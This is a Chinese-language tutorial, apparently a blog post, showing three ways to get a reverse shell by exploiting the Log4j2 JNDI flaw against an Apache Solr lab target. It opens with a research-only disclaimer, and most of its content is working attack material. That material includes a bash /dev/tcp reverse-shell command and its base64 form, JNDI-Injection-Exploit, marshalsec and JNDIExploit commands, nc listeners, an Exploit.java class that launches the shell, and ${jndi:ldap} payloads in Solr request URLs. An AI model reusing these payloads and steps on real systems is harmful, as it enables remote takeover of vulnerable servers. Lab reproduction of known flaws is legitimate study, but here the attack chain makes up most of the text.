★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
1、前言
明天就是除夕了,提前祝大家:新年新气象,龙年龖龖!也祝愿自己2024年一切顺利!
本文主要是分享log4j2反弹shell的3种方式,第一种方式【JNDI-Injection-Exploit】对jdk版本要求比较高,因此我在靶场复现时统一采用jdk1.8.0_191。靶场环境和漏洞原理请参阅上一篇《Log4j2漏洞(一)原理和dnslog验证》。以下是3种反弹shell复现步骤
2 、反弹shell【JNDI-Injection】
这是对环境要求最高的一种方式。
2.1、制作反弹shell的payload
# 反弹shell指令-格式
bash -i >& /dev/tcp/反弹shell的IP/nc监听的端口 0>&1
# 反弹shell指令-kali攻击机
bash -i >& /dev/tcp/192.168.242.4/9999 0>&1
# 把以上payload进行base64编码,使用在线网址:https://base64.us/
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi40Lzk5OTkgMD4mMQ==
2.2、监听EXP中端口
在攻击机kali使用nc命令开启监听
# 端口自定义,kali系统的ip: 192.168.242.4
nc -lvvp 9999
# 提示以下信息表示监听成功
listening on [any] 9999 ...
2.3、启动JNDI服务
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,使用github上提供的Exploit,项目地址:https://github.com/welk1n/JNDI-Injection-Exploit
,下载下来自己编译打包,注意:编译打包要和攻击机的启动JNDI服务的jdk版本号(包含小版号)一定要一致,不然即使服务启动了,在反弹shell步骤会一直不成功。如果自己本机没有搭建jdk和maven环境的话,文末有提供下载方式。
# 切换到目标目录(我自己放jar的目录)
cd tools/log4j
# 命令-格式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64反弹shell的payload}|{base64,-d}|{bash,-i}" -A "攻击机IP地址"
# 目标执行的命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.242.4"
注意:每次运行 JNDI-Injection-Exploit 后,生成的rmi/ldap端口后一串字符是随机值,每次运行后URL值是不一样的。
2.4、设置payload并访问
经测试选择JDK 1.8 和JDK1.7下的rmi 和ldap都可以反弹shell成功,JDK没带版本的失败,建议跟自己环境同一版本JDK的,或者都可以测试一下。
# poc原文
${jndi:rmi://192.168.242.4:1099/fvifkk}
${jndi:ldap://192.168.242.4:1389/fvifkk}
# 拼接poc进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:rmi://192.168.242.4:1099/fvifkk}
2.5、反弹shell成功
3、反弹shell-【marshalsec】
这是最麻烦的一种方式。
3.1、生成Exploit.class
jdk要求1.8_191版本,ip修改为kali的ip,端口为nc监听的端口,源码如下:
// javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机kali机的ip/nc监听的端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
注意:文件命名为Exploit.java,在文件目录,打开cmd,使用命令生成Exploit.class文件,或者在kali系统上生成也可以
javac Exploit.java
然后把Exploit.class文件复制到kali系统自己指定的文件夹里面,比如:/home/kali/tools/log4j
文末我有提供Exploit.java源码文件下载方式,如果使用该方式,里面的ip和端口需要修改为自己测试机器的和监听的端口。
3.2、开启web服务能访问恶意文件
# 切换到目录
cd /home/kali/tools/log4j
# 开启web服务能访问恶意文件,kali系统的ip: 192.168.242.4
python3 -m http.server 80
直接访问:http://192.168.242.4
,可以看到界面列出来当前目录下的所有文件
3.3、使用marshalsec工具开启ldap服务端
ip修改为kali的ip,端口为ldap,命令如下:
# 切换到目录
cd /home/kali/tools/log4j
# 开启ldap服务端命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.242.4/#Exploit" 7777
# 开启成功有以下提示信息
Listening on 0.0.0.0:7777
3.4、nc监听
监听恶意文件中的地址ip,也就是第3.1、生成Exploit.class的配置的ip和端口
# 监听命令
nc -lvvp 1234
# 监听成功有以下提示信息
listening on [any] 1234 ...
3.5、设置payload并访问
# poc原文
${jndi:ldap://192.168.242.4:7777/Exploit}
# 拼接poc进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://192.168.242.4:7777/Exploit}
3.6、反弹shell成功
4、反弹shell-【JNDIExploit】
这是最简单的一种复现方式,步骤少。
4.1、开启监听命令
# 切换到目录
cd /home/kali/tools/log4j
# 监听命令, -i 本机的ip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 6666 -i 192.168.242.4
4.2、开启nc监听
nc -lvvp 10010
4.3、设置payload并访问
# poc原文
${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
# 拼接poc进行访问
http://your-ip/solr/admin/cores?action=${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
4.4、反弹shell成功
5、资料获取
如果需要Log4j2反弹shell的工具包,请关注公众号:大象只为你,后台回复:log4j2反弹shell。